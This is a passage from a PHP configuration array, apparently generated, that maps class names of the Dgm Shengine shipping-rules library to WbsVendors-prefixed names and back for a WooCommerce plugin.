'Dgm\\Shengine\\Attributes\\ProductAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\ProductAttribute',
'Dgm\\Shengine\\Attributes\\ProductVariationAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\ProductVariationAttribute',
'Dgm\\Shengine\\Attributes\\SumAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\SumAttribute',
'Dgm\\Shengine\\Attributes\\TermsAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\TermsAttribute',
'Dgm\\Shengine\\Attributes\\VolumeAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\VolumeAttribute',
'Dgm\\Shengine\\Attributes\\WeightAttribute' => 'WbsVendors\\Dgm\\Shengine\\Attributes\\WeightAttribute',
'Dgm\\Shengine\\Calculators\\AggregatedCalculator' => 'WbsVendors\\Dgm\\Shengine\\Calculators\\AggregatedCalculator',
'Dgm\\Shengine\\Calculators\\AttributeMultiplierCalculator' => 'WbsVendors\\Dgm\\Shengine\\Calculators\\AttributeMultiplierCalculator',
'Dgm\\Shengine\\Calculators\\ChildrenCalculator' => 'WbsVendors\\Dgm\\Shengine\\Calculators\\ChildrenCalculator',
'Dgm\\Shengine\\Calculators\\ClampCalculator' => 'WbsVendors\\Dgm\\Shengine\\Calculators\\ClampCalculator',
'Dgm\\Shengine\\Calculators\\ConstantCalculator' => 'WbsVendors\\Dgm\\Shengine\\Calculators\\ConstantCalculator',
'Dgm\\Shengine\\Calculators\\FreeCalculator' => 'WbsVendors\\Dgm\\Shengine\\Calculators\\FreeCalculator',
'Dgm\\Shengine\\Calculators\\GroupCalculator' => 'WbsVendors\\Dgm\\Shengine\\Calculators\\GroupCalculator',
'Dgm\\Shengine\\Calculators\\ProgressiveCalculator' => 'WbsVendors\\Dgm\\Shengine\\Calculators\\ProgressiveCalculator',
'Dgm\\Shengine\\Calculators\\RuleCalculator' => 'WbsVendors\\Dgm\\Shengine\\Calculators\\RuleCalculator',
'Dgm\\Shengine\\Conditions\\Common\\AbstractCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\AbstractCondition',
'Dgm\\Shengine\\Conditions\\Common\\AggregateCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\AggregateCondition',
'Dgm\\Shengine\\Conditions\\Common\\Compare\\BetweenCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\BetweenCondition',
'Dgm\\Shengine\\Conditions\\Common\\Compare\\CompareCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\CompareCondition',
'Dgm\\Shengine\\Conditions\\Common\\Compare\\EqualCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\EqualCondition',
'Dgm\\Shengine\\Conditions\\Common\\Compare\\GreaterCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\GreaterCondition',
'Dgm\\Shengine\\Conditions\\Common\\Compare\\GreaterOrEqualCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\GreaterOrEqualCondition',
'Dgm\\Shengine\\Conditions\\Common\\Compare\\LessCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\LessCondition',
'Dgm\\Shengine\\Conditions\\Common\\Compare\\LessOrEqualCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\LessOrEqualCondition',
'Dgm\\Shengine\\Conditions\\Common\\Compare\\NotEqualCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\NotEqualCondition',
'Dgm\\Shengine\\Conditions\\Common\\Enum\\AbstractEnumCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\AbstractEnumCondition',
'Dgm\\Shengine\\Conditions\\Common\\Enum\\DisjointCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\DisjointCondition',
'Dgm\\Shengine\\Conditions\\Common\\Enum\\EmptyEnumCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\EmptyEnumCondition',
'Dgm\\Shengine\\Conditions\\Common\\Enum\\EqualEnumCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\EqualEnumCondition',
'Dgm\\Shengine\\Conditions\\Common\\Enum\\IntersectCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\IntersectCondition',
'Dgm\\Shengine\\Conditions\\Common\\Enum\\SubsetCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\SubsetCondition',
'Dgm\\Shengine\\Conditions\\Common\\Enum\\SupersetCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\SupersetCondition',
'Dgm\\Shengine\\Conditions\\Common\\GroupCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\GroupCondition',
'Dgm\\Shengine\\Conditions\\Common\\Logic\\AndCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Logic\\AndCondition',
'Dgm\\Shengine\\Conditions\\Common\\Logic\\NotCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Logic\\NotCondition',
'Dgm\\Shengine\\Conditions\\Common\\Logic\\OrCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Logic\\OrCondition',
'Dgm\\Shengine\\Conditions\\Common\\StringPatternCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\StringPatternCondition',
'Dgm\\Shengine\\Conditions\\Common\\Stub\\FalseCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Stub\\FalseCondition',
'Dgm\\Shengine\\Conditions\\Common\\Stub\\TrueCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Stub\\TrueCondition',
'Dgm\\Shengine\\Conditions\\DestinationCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\DestinationCondition',
'Dgm\\Shengine\\Conditions\\ItemsPackableCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\ItemsPackableCondition',
'Dgm\\Shengine\\Conditions\\Package\\AbstractPackageCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Package\\AbstractPackageCondition',
'Dgm\\Shengine\\Conditions\\Package\\PackageAttributeCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Package\\PackageAttributeCondition',
'Dgm\\Shengine\\Conditions\\Package\\TermsCondition' => 'WbsVendors\\Dgm\\Shengine\\Conditions\\Package\\TermsCondition',
'Dgm\\Shengine\\Grouping\\AttributeGrouping' => 'WbsVendors\\Dgm\\Shengine\\Grouping\\AttributeGrouping',
'Dgm\\Shengine\\Grouping\\FakeGrouping' => 'WbsVendors\\Dgm\\Shengine\\Grouping\\FakeGrouping',
'Dgm\\Shengine\\Interfaces\\IAggregator' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IAggregator',
'Dgm\\Shengine\\Interfaces\\IAttribute' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IAttribute',
'Dgm\\Shengine\\Interfaces\\ICalculator' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\ICalculator',
'Dgm\\Shengine\\Interfaces\\ICondition' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\ICondition',
'Dgm\\Shengine\\Interfaces\\IGrouping' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IGrouping',
'Dgm\\Shengine\\Interfaces\\IItem' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IItem',
'Dgm\\Shengine\\Interfaces\\IItemAggregatables' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IItemAggregatables',
'Dgm\\Shengine\\Loader\\ILoader' => 'WbsVendors\\Dgm\\Shengine\\Loader\\ILoader',
'Dgm\\Shengine\\Interfaces\\IMatcher' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IMatcher',
'Dgm\\Shengine\\Interfaces\\IOperation' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IOperation',
'Dgm\\Shengine\\Interfaces\\IPackage' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IPackage',
'Dgm\\Shengine\\Interfaces\\IProcessor' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IProcessor',
'Dgm\\Shengine\\Interfaces\\IRate' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IRate',
'Dgm\\Shengine\\Interfaces\\IRule' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IRule',
'Dgm\\Shengine\\Interfaces\\IRuleMeta' => 'WbsVendors\\Dgm\\Shengine\\Interfaces\\IRuleMeta',
'Dgm\\Shengine\\Model\\Address' => 'WbsVendors\\Dgm\\Shengine\\Model\\Address',
'Dgm\\Shengine\\Model\\Customer' => 'WbsVendors\\Dgm\\Shengine\\Model\\Customer',
'Dgm\\Shengine\\Model\\Destination' => 'WbsVendors\\Dgm\\Shengine\\Model\\Destination',
'Dgm\\Shengine\\Model\\Dimensions' => 'WbsVendors\\Dgm\\Shengine\\Model\\Dimensions',
'Dgm\\Shengine\\Model\\Item' => 'WbsVendors\\Dgm\\Shengine\\Model\\Item',
'Dgm\\Shengine\\Model\\ItemDefaults' => 'WbsVendors\\Dgm\\Shengine\\Model\\ItemDefaults',
'Dgm\\Shengine\\Model\\Package' => 'WbsVendors\\Dgm\\Shengine\\Model\\Package',
'Dgm\\Shengine\\Model\\Price' => 'WbsVendors\\Dgm\\Shengine\\Model\\Price',
'Dgm\\Shengine\\Model\\Rate' => 'WbsVendors\\Dgm\\Shengine\\Model\\Rate',
'Dgm\\Shengine\\Model\\Rule' => 'WbsVendors\\Dgm\\Shengine\\Model\\Rule',
'Dgm\\Shengine\\Model\\RuleMeta' => 'WbsVendors\\Dgm\\Shengine\\Model\\RuleMeta',
'Dgm\\Shengine\\Operations\\AbstractOperation' => 'WbsVendors\\Dgm\\Shengine\\Operations\\AbstractOperation',
'Dgm\\Shengine\\Operations\\AddOperation' => 'WbsVendors\\Dgm\\Shengine\\Operations\\AddOperation',
'Dgm\\Shengine\\Operations\\ClampOperation' => 'WbsVendors\\Dgm\\Shengine\\Operations\\ClampOperation',
'Dgm\\Shengine\\Operations\\GroupOperation' => 'WbsVendors\\Dgm\\Shengine\\Operations\\GroupOperation',
'Dgm\\Shengine\\Operations\\MultiplyOperation' => 'WbsVendors\\Dgm\\Shengine\\Operations\\MultiplyOperation',
'Dgm\\Shengine\\Processing\\Processor' => 'WbsVendors\\Dgm\\Shengine\\Processing\\Processor',
'Dgm\\Shengine\\Processing\\RateRegister' => 'WbsVendors\\Dgm\\Shengine\\Processing\\RateRegister',
'Dgm\\Shengine\\Processing\\Registers' => 'WbsVendors\\Dgm\\Shengine\\Processing\\Registers',
'Dgm\\Shengine\\RuleMatcher' => 'WbsVendors\\Dgm\\Shengine\\RuleMatcher',
'Dgm\\Shengine\\RuleMatcherMeta' => 'WbsVendors\\Dgm\\Shengine\\RuleMatcherMeta',
'Dgm\\Shengine\\Units' => 'WbsVendors\\Dgm\\Shengine\\Units',
'Dgm\\Shengine\\Migrations\\AbstractConfigStorage' => 'WbsVendors\\Dgm\\Shengine\\Migrations\\AbstractConfigStorage',
'Dgm\\Shengine\\Migrations\\Interfaces\\Migrations\\IConfigMigration' => 'WbsVendors\\Dgm\\Shengine\\Migrations\\Interfaces\\Migrations\\IConfigMigration',
'Dgm\\Shengine\\Migrations\\Interfaces\\Migrations\\IRuleMigration' => 'WbsVendors\\Dgm\\Shengine\\Migrations\\Interfaces\\Migrations\\IRuleMigration',
'Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorage' => 'WbsVendors\\Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorage',
'Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorageAccess' => 'WbsVendors\\Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorageAccess',
'Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorageRecord' => 'WbsVendors\\Dgm\\Shengine\\Migrations\\Interfaces\\Storage\\IStorageRecord',
'Dgm\\Shengine\\Migrations\\MigrationService' => 'WbsVendors\\Dgm\\Shengine\\Migrations\\MigrationService',
'Dgm\\Shengine\\Migrations\\Storage\\ArrayStorage' => 'WbsVendors\\Dgm\\Shengine\\Migrations\\Storage\\ArrayStorage',
'Dgm\\Shengine\\Migrations\\Storage\\StorageRecord' => 'WbsVendors\\Dgm\\Shengine\\Migrations\\Storage\\StorageRecord',
'Dgm\\Shengine\\Migrations\\Storage\\WordpressOptions' => 'WbsVendors\\Dgm\\Shengine\\Migrations\\Storage\\WordpressOptions',
'Dgm\\Shengine\\Woocommerce\\Converters\\PackageConverter' => 'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Converters\\PackageConverter',
'Dgm\\Shengine\\Woocommerce\\Converters\\RateConverter' => 'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Converters\\RateConverter',
'Dgm\\Shengine\\Woocommerce\\Model\\Item\\WoocommerceItem' => 'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Model\\Item\\WoocommerceItem',
'Dgm\\Shengine\\Woocommerce\\Model\\Item\\WpmlAwareItem' => 'WbsVendors\\Dgm\\Shengine\\Woocommerce\\Model\\Item\\WpmlAwareItem',
'Dgm\\SimpleProperties\\SimpleProperties' => 'WbsVendors\\Dgm\\SimpleProperties\\SimpleProperties',
'Dgm\\WcTools\\WcTools' => 'WbsVendors\\Dgm\\WcTools\\WcTools',
'DgmWpDismissibleNotices' => 'WbsVendors_DgmWpDismissibleNotices',
'DgmWpPluginBootstrapGuard' => 'WbsVendors_DgmWpPluginBootstrapGuard',
'Dgm\\PluginServices\\IService' => 'WbsVendors\\Dgm\\PluginServices\\IService',
'Dgm\\PluginServices\\IServiceReady' => 'WbsVendors\\Dgm\\PluginServices\\IServiceReady',
'Dgm\\PluginServices\\ServiceInstaller' => 'WbsVendors\\Dgm\\PluginServices\\ServiceInstaller',
),
'func' =>
array (
),
'const' =>
array (
),
),
'uncapsule' =>
array (
'class' =>
array (
'WbsVendors_ComposerAutoloaderInit1ef25787cb7c3885f7c08ca2bea15684' => 'ComposerAutoloaderInit1ef25787cb7c3885f7c08ca2bea15684',
'WbsVendors\\Composer\\Autoload\\ComposerStaticInit1ef25787cb7c3885f7c08ca2bea15684' => 'Composer\\Autoload\\ComposerStaticInit1ef25787cb7c3885f7c08ca2bea15684',
'WbsVendors\\Composer\\Autoload\\ClassLoader' => 'Composer\\Autoload\\ClassLoader',
'WbsVendors\\Dgm\\Arrays\\Arrays' => 'Dgm\\Arrays\\Arrays',
'WbsVendors\\BoxPacking\\Packer' => 'BoxPacking\\Packer',
'WbsVendors\\BoxPacking\\Skyline' => 'BoxPacking\\Skyline',
'WbsVendors\\BoxPacking\\Utils' => 'BoxPacking\\Utils',
'WbsVendors\\Dgm\\ClassNameAware\\ClassNameAware' => 'Dgm\\ClassNameAware\\ClassNameAware',
'WbsVendors\\Dgm\\Comparator\\AbstractComparator' => 'Dgm\\Comparator\\AbstractComparator',
'WbsVendors\\Dgm\\Comparator\\IComparator' => 'Dgm\\Comparator\\IComparator',
'WbsVendors\\Dgm\\Comparator\\NumberComparator' => 'Dgm\\Comparator\\NumberComparator',
'WbsVendors\\Dgm\\Comparator\\StringComparator' => 'Dgm\\Comparator\\StringComparator',
'WbsVendors_CCR' => 'CCR',
'WbsVendors\\Dgm\\ComposerCapsule\\Runtime\\Runtime' => 'Dgm\\ComposerCapsule\\Runtime\\Runtime',
'WbsVendors\\Dgm\\ComposerCapsule\\Runtime\\Wrapper' => 'Dgm\\ComposerCapsule\\Runtime\\Wrapper',
'WbsVendors\\Deferred\\Deferred' => 'Deferred\\Deferred',
'WbsVendors\\Dgm\\NumberUnit\\NumberUnit' => 'Dgm\\NumberUnit\\NumberUnit',
'WbsVendors\\Dgm\\Range\\Range' => 'Dgm\\Range\\Range',
'WbsVendors\\Dgm\\Shengine\\Aggregators\\AverageAggregator' => 'Dgm\\Shengine\\Aggregators\\AverageAggregator',
'WbsVendors\\Dgm\\Shengine\\Aggregators\\FirstAggregator' => 'Dgm\\Shengine\\Aggregators\\FirstAggregator',
'WbsVendors\\Dgm\\Shengine\\Aggregators\\LastAggregator' => 'Dgm\\Shengine\\Aggregators\\LastAggregator',
'WbsVendors\\Dgm\\Shengine\\Aggregators\\MaxAggregator' => 'Dgm\\Shengine\\Aggregators\\MaxAggregator',
'WbsVendors\\Dgm\\Shengine\\Aggregators\\MinAggregator' => 'Dgm\\Shengine\\Aggregators\\MinAggregator',
'WbsVendors\\Dgm\\Shengine\\Aggregators\\ReduceAggregator' => 'Dgm\\Shengine\\Aggregators\\ReduceAggregator',
'WbsVendors\\Dgm\\Shengine\\Aggregators\\SumAggregator' => 'Dgm\\Shengine\\Aggregators\\SumAggregator',
'WbsVendors\\Dgm\\Shengine\\Attributes\\AbstractAttribute' => 'Dgm\\Shengine\\Attributes\\AbstractAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\CountAttribute' => 'Dgm\\Shengine\\Attributes\\CountAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\CouponsAttribute' => 'Dgm\\Shengine\\Attributes\\CouponsAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\CustomerRolesAttribute' => 'Dgm\\Shengine\\Attributes\\CustomerRolesAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\DestinationAttribute' => 'Dgm\\Shengine\\Attributes\\DestinationAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\ItemAttribute' => 'Dgm\\Shengine\\Attributes\\ItemAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\ItemDimensionsAttribute' => 'Dgm\\Shengine\\Attributes\\ItemDimensionsAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\MapAttribute' => 'Dgm\\Shengine\\Attributes\\MapAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\PriceAttribute' => 'Dgm\\Shengine\\Attributes\\PriceAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\ProductAttribute' => 'Dgm\\Shengine\\Attributes\\ProductAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\ProductVariationAttribute' => 'Dgm\\Shengine\\Attributes\\ProductVariationAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\SumAttribute' => 'Dgm\\Shengine\\Attributes\\SumAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\TermsAttribute' => 'Dgm\\Shengine\\Attributes\\TermsAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\VolumeAttribute' => 'Dgm\\Shengine\\Attributes\\VolumeAttribute',
'WbsVendors\\Dgm\\Shengine\\Attributes\\WeightAttribute' => 'Dgm\\Shengine\\Attributes\\WeightAttribute',
'WbsVendors\\Dgm\\Shengine\\Calculators\\AggregatedCalculator' => 'Dgm\\Shengine\\Calculators\\AggregatedCalculator',
'WbsVendors\\Dgm\\Shengine\\Calculators\\AttributeMultiplierCalculator' => 'Dgm\\Shengine\\Calculators\\AttributeMultiplierCalculator',
'WbsVendors\\Dgm\\Shengine\\Calculators\\ChildrenCalculator' => 'Dgm\\Shengine\\Calculators\\ChildrenCalculator',
'WbsVendors\\Dgm\\Shengine\\Calculators\\ClampCalculator' => 'Dgm\\Shengine\\Calculators\\ClampCalculator',
'WbsVendors\\Dgm\\Shengine\\Calculators\\ConstantCalculator' => 'Dgm\\Shengine\\Calculators\\ConstantCalculator',
'WbsVendors\\Dgm\\Shengine\\Calculators\\FreeCalculator' => 'Dgm\\Shengine\\Calculators\\FreeCalculator',
'WbsVendors\\Dgm\\Shengine\\Calculators\\GroupCalculator' => 'Dgm\\Shengine\\Calculators\\GroupCalculator',
'WbsVendors\\Dgm\\Shengine\\Calculators\\ProgressiveCalculator' => 'Dgm\\Shengine\\Calculators\\ProgressiveCalculator',
'WbsVendors\\Dgm\\Shengine\\Calculators\\RuleCalculator' => 'Dgm\\Shengine\\Calculators\\RuleCalculator',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\AbstractCondition' => 'Dgm\\Shengine\\Conditions\\Common\\AbstractCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\AggregateCondition' => 'Dgm\\Shengine\\Conditions\\Common\\AggregateCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\BetweenCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Compare\\BetweenCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\CompareCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Compare\\CompareCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\EqualCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Compare\\EqualCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\GreaterCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Compare\\GreaterCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\GreaterOrEqualCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Compare\\GreaterOrEqualCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\LessCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Compare\\LessCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\LessOrEqualCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Compare\\LessOrEqualCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Compare\\NotEqualCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Compare\\NotEqualCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\AbstractEnumCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Enum\\AbstractEnumCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\DisjointCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Enum\\DisjointCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\EmptyEnumCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Enum\\EmptyEnumCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\EqualEnumCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Enum\\EqualEnumCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\IntersectCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Enum\\IntersectCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\SubsetCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Enum\\SubsetCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Enum\\SupersetCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Enum\\SupersetCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\GroupCondition' => 'Dgm\\Shengine\\Conditions\\Common\\GroupCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Logic\\AndCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Logic\\AndCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Logic\\NotCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Logic\\NotCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Logic\\OrCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Logic\\OrCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\StringPatternCondition' => 'Dgm\\Shengine\\Conditions\\Common\\StringPatternCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Stub\\FalseCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Stub\\FalseCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Common\\Stub\\TrueCondition' => 'Dgm\\Shengine\\Conditions\\Common\\Stub\\TrueCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\DestinationCondition' => 'Dgm\\Shengine\\Conditions\\DestinationCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\ItemsPackableCondition' => 'Dgm\\Shengine\\Conditions\\ItemsPackableCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Package\\AbstractPackageCondition' => 'Dgm\\Shengine\\Conditions\\Package\\AbstractPackageCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Package\\PackageAttributeCondition' => 'Dgm\\Shengine\\Conditions\\Package\\PackageAttributeCondition',
'WbsVendors\\Dgm\\Shengine\\Conditions\\Package\\TermsCondition' => 'Dgm\\Shengine\\Conditions\\Package\\TermsCondition',
'WbsVendors\\Dgm\\Shengine\\Grouping\\AttributeGrouping' => 'Dgm\\Shengine\\Grouping\\AttributeGrouping',
'WbsVendors\\Dgm\\Shengine\\Grouping\\FakeGrouping' => 'Dgm\\Shengine\\Grouping\\FakeGrouping',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IAggregator' => 'Dgm\\Shengine\\Interfaces\\IAggregator',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IAttribute' => 'Dgm\\Shengine\\Interfaces\\IAttribute',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\ICalculator' => 'Dgm\\Shengine\\Interfaces\\ICalculator',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\ICondition' => 'Dgm\\Shengine\\Interfaces\\ICondition',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IGrouping' => 'Dgm\\Shengine\\Interfaces\\IGrouping',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IItem' => 'Dgm\\Shengine\\Interfaces\\IItem',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IItemAggregatables' => 'Dgm\\Shengine\\Interfaces\\IItemAggregatables',
'WbsVendors\\Dgm\\Shengine\\Loader\\ILoader' => 'Dgm\\Shengine\\Loader\\ILoader',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IMatcher' => 'Dgm\\Shengine\\Interfaces\\IMatcher',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IOperation' => 'Dgm\\Shengine\\Interfaces\\IOperation',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IPackage' => 'Dgm\\Shengine\\Interfaces\\IPackage',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IProcessor' => 'Dgm\\Shengine\\Interfaces\\IProcessor',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IRate' => 'Dgm\\Shengine\\Interfaces\\IRate',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IRule' => 'Dgm\\Shengine\\Interfaces\\IRule',
'WbsVendors\\Dgm\\Shengine\\Interfaces\\IRuleMeta' => 'Dgm\\Shengine\\Interfaces\\IRuleMeta',
'WbsVendors\\Dgm\\Shengine\\Model\\Address' => 'Dgm\\Shengine\\Model\\Address',
'WbsVendors\\Dgm\\Shengine\\Model\\Customer' => 'Dgm\\Shengine\\Model\\Customer',
'WbsVendors\\Dgm\\Shengine\\Model\\Destination' => 'Dgm\\Shengine\\Model\\Destination',
'WbsVendors\\Dgm\\Shengine\\Model\\Dimensions' => 'Dgm\\Shengine\\Model\\Dimensions',
'WbsVendors\\Dgm\\Shengine\\Model\\Item' => 'Dgm\\Shengine\\Model\\Item',
'WbsVendors\\Dgm\\Shengine\\Model\\ItemDefaults' => 'Dgm\\Shengine\\Model\\ItemDefaults',
'WbsVendors\\Dgm\\Shengine\\Model\\Package' => 'Dgm\\Shengine\\Model\\Package',
'WbsVendors\\Dgm\\Shengine\\Model\\Price' => 'Dgm\\Shengine\\Model\\Price',
'WbsVendors\\Dgm\\Shengine\\Model\\Rate' => 'Dgm\\Shengine\\Model\\Rate',
'WbsVendors\\Dgm\\Shengine\\Model\\Rule' => 'Dgm\\Shengine\\Model\\Rule',
'WbsVendors\\Dgm\\Shengine\\Model\\RuleMeta' => 'Dgm\\Shengine\\Model\\RuleMeta',
'WbsVendors\\Dgm\\Shengine\\Operations\\AbstractOperation' => 'Dgm\\Shengine\\Operations\\AbstractOperation',
'WbsVendors\\Dgm\\Shengine\\Operations\\AddOperation' => 'Dgm\\Shengine\\Operations\\AddOperation',
'WbsVendors\\Dgm\\Shengine\\Operations\\ClampOperation' => 'Dgm\\Shengine\\Operations\\ClampOperation',
'WbsVendors\\Dgm\\Shengine\\Operations\\GroupOperation' => 'Dgm\\Shengine\\Operations\\GroupOperation',
'WbsVendors\\Dgm\\Shengine\\Operations\\MultiplyOperation' => 'Dgm\\Shengine\\Operations\\MultiplyOperation',
'WbsVendors\\Dgm\\Shengine\\Processing\\Processor' => 'Dgm\\Shengine\\Processing\\Processor',
'WbsVendors\\Dgm\\Shengine\\Processing\\RateRegister' => 'Dgm\\Shengine\\Processing\\RateRegister',
'WbsVendors\\Dgm\\Shengine\\Processing\\Registers' => 'Dgm\\Shengine\\Processing\\Registers',
'WbsVendors\\Dgm\\Shengine\\RuleMatcher' => 'Dgm\\Shengine\\RuleMatcher',
'WbsVendors\\Dgm\\Shengine\\RuleMatcherMeta' => 'Dgm\\Shengine\\RuleMatcherMeta',
'WbsVendors\\Dgm\\Shengine\\Units' => 'Dgm\\Shengine\\Units',
'WbsVendors\\Dgm\\Shengine\\Migrations\\AbstractConfigStorage' => 'Dgm\\Shengine\\Migrations\\AbstractConfigStorage',
'WbsVendors\\Dgm\\Shengine\\Migrations\\Interfaces\\Migrations\\IConfigMigration' => 'Dgm\\Shengine\\Migrations\\Interfaces\\Migrations\\IConfigMigration',
